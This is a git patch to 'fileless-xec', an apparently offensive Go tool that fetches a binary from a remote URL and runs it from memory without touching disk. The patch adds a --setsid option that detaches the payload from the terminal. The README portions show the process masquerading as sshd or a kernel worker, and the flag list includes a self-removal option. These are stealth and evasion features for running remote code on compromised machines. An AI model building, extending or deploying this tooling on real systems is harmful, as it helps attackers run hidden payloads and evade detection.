From 9ab707a329d3be7fb57815f799bdac972c0be332 Mon Sep 17 00:00:00 2001 From: ariary Date: Sun, 27 Feb 2022 16:28:20 -0500 Subject: [PATCH] setsid flag --- README.md | 4 ++-- cmd/fileless-xec/fileless-xec.go | 15 +++++++++------ pkg/config/config.go | 1 + pkg/exec/exec.go | 25 +++++++++++++++++++++++-- usage.md | 2 +- 5 files changed, 36 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 1c85423..888f2f3 100644 --- a/README.md +++ b/README.md @@ -19,7 +19,7 @@ - simple usage `fileless-xec [binary_url]` (~`curl | sh` for binaries) - execute binary with specified program name: `fileless-xec -n /usr/sbin/sshd [binary_url]` - - detach program execution from `tty`: ` setsid fileless-xec [...]` + - detach program execution from `tty`: ` fileless-xec --setsid [...]` ![demo](https://github.com/ariary/fileless-xec/blob/main/img/fileless-xec.gif) @@ -89,7 +89,7 @@ Although not present on the memory disk, the running program can still be detect 2. Detach from tty to map behaviour of deamon process -`setsid fileless-xec `. *WIP call `setsid` from code* +`fileless-xec --setsid `. ### Caveats You could still be detected with: diff --git a/cmd/fileless-xec/fileless-xec.go b/cmd/fileless-xec/fileless-xec.go index 48d5623..f3d5e5a 100644 --- a/cmd/fileless-xec/fileless-xec.go +++ b/cmd/fileless-xec/fileless-xec.go @@ -1,13 +1,14 @@ package main import ( + "log" + "net/http" + "os" + "github.com/ariary/fileless-xec/pkg/config" "github.com/ariary/fileless-xec/pkg/exec" "github.com/ariary/fileless-xec/pkg/server" "github.com/ariary/fileless-xec/pkg/transport" - "log" - "net/http" - "os" "github.com/spf13/cobra" ) @@ -19,6 +20,7 @@ func main() { var http3 bool var selfRm bool var unstealth bool + var daemon bool var cmdFilelessxec = &cobra.Command{ Use: "fileless-xec [remote_url]", @@ -41,7 +43,7 @@ func main() { binaryRaw = transport.GetBinaryRaw(url) } - cfg := &config.Config{BinaryContent: binaryRaw, Unstealth: unstealth, ArgsExec: argsExec, SelfRm: selfRm, Environ: environ} + cfg := &config.Config{BinaryContent: binaryRaw, Unstealth: unstealth, ArgsExec: argsExec, SelfRm: selfRm, Environ: environ, Daemon: daemon} exec.Filelessxec(cfg) }, @@ -60,7 +62,7 @@ func main() { argsExec := []string{name} argsExec = append(argsExec, args[1:]...) //argument if binary execution need them fileless-xec -- environ := os.Environ() - cfg := &config.Config{Unstealth: unstealth, ArgsExec: argsExec, SelfRm: selfRm, Environ: environ} + cfg := &config.Config{Unstealth: unstealth, ArgsExec: argsExec, SelfRm: selfRm, Environ: environ, Daemon: daemon} // Upload route http.HandleFunc("/upload", server.UploadAndExecHandler(cfg)) @@ -85,7 +87,7 @@ func main() { argsExec := []string{name} argsExec = append(argsExec, args[1:]...) //argument if binary execution need them fileless-xec -- environ := os.Environ() - cfg := &config.Config{Unstealth: unstealth, ArgsExec: argsExec, SelfRm: selfRm, Environ: environ} + cfg := &config.Config{Unstealth: unstealth, ArgsExec: argsExec, SelfRm: selfRm, Environ: environ, Daemon: daemon} server.ICMPServerAndExecute(listening, cfg) }, @@ -94,6 +96,7 @@ func main() { //flag handling cmdFilelessxec.PersistentFlags().StringVarP(&name, "name", "n", "[kworker/u:0]", "running process name") cmdFilelessxec.PersistentFlags().BoolVarP(&http3, "http3", "Q", false, "use of HTTP3 (QUIC) protocol") + cmdFilelessxec.PersistentFlags().BoolVarP(&daemon, "setsid", "s", false, "detach the program from the tty") cmdFilelessxec.PersistentFlags().BoolVarP(&selfRm, "self-remove", "r", false, "remove fileless-xec while its execution. fileless-xec must be in the same repository that the execution process") cmdFilelessxec.PersistentFlags().BoolVarP(&unstealth, "unstealth", "u", false, "store the file locally on disk before executing it. Not stealth, but useful if your system does not support mem_fd syscall") diff --git a/pkg/config/config.go b/pkg/config/config.go index 8eef07c..807ee8e 100644 --- a/pkg/config/config.go +++ b/pkg/config/config.go @@ -7,4 +7,5 @@ type Config struct { ArgsExec []string SelfRm bool Environ []string + Daemon bool } diff --git a/pkg/exec/exec.go b/pkg/exec/exec.go index 07b3e38..75fae97 100644 --- a/pkg/exec/exec.go +++ b/pkg/exec/exec.go @@ -27,7 +27,7 @@ func selfRemove() { } } -//UnstealthyExec file retrieve output. TODO: output in real-time + handle input +//UnstealthyExec file retrieve output func UnstealthyExec(filename string, argv []string, envv []string) (err error) { defer os.Remove(filename) //with runtime.GOOS != "windows" we could remove earlier cmd := exec.Command("./" + filename) @@ -69,6 +69,23 @@ func UnstealthyExec(filename string, argv []string, envv []string) (err error) { func Fexecve(fd uintptr, argv []string, envv []string) (err error) { fname := fmt.Sprintf("/proc/%d/fd/%d", os.Getpid(), fd) err = syscall.Exec(fname, argv, envv) + + return err +} + +//FexecveDaemon: Exec binary file using file descriptor. The program is a daemon (setsid). +//No input, or output +func FexecveDaemon(fd uintptr, argv []string, envv []string) (err error) { + fname := fmt.Sprintf("/proc/%d/fd/%d", os.Getpid(), fd) + var sysProcAttr = syscall.SysProcAttr{Setsid: true} + var procAttr = syscall.ProcAttr{Env: envv, Sys: &sysProcAttr, Files: []uintptr{0, 1, 2}} //Files: stdin,stderr,stout apply to the same tty than filelessxec + //to still have stdout and stdin + _, err = syscall.ForkExec(fname, argv, &procAttr) + //don't wait + // if err == nil { + // _, err = syscall.Wait4(pid, nil, 0, nil) //do we have to wait? + // } + return err } @@ -133,7 +150,11 @@ func Filelessxec(cfg *config.Config) { if cfg.SelfRm && runtime.GOOS != "windows" { selfRemove() } + if cfg.Daemon { + FexecveDaemon(fd, cfg.ArgsExec, cfg.Environ) + } else { + Fexecve(fd, cfg.ArgsExec, cfg.Environ) //all line after that won't be executed due to syscall execve + } - Fexecve(fd, cfg.ArgsExec, cfg.Environ) //all line after that won't be executed due to syscall execve } } diff --git a/usage.md b/usage.md index 292be85..2d817d7 100644 --- a/usage.md +++ b/usage.md @@ -22,7 +22,7 @@ fileless-xec [binary_url] ## Execute binary with stdout/stdin -`fileless-xec` is able to execute binaries with stdout and stdin. There isn't any special configuration or flag to make it works +`fileless-xec` is able to execute binaries with stdout and stdin. There isn't any special configuration or flag to make it works. (also work with `--setsid`) ## Execute binary with arguments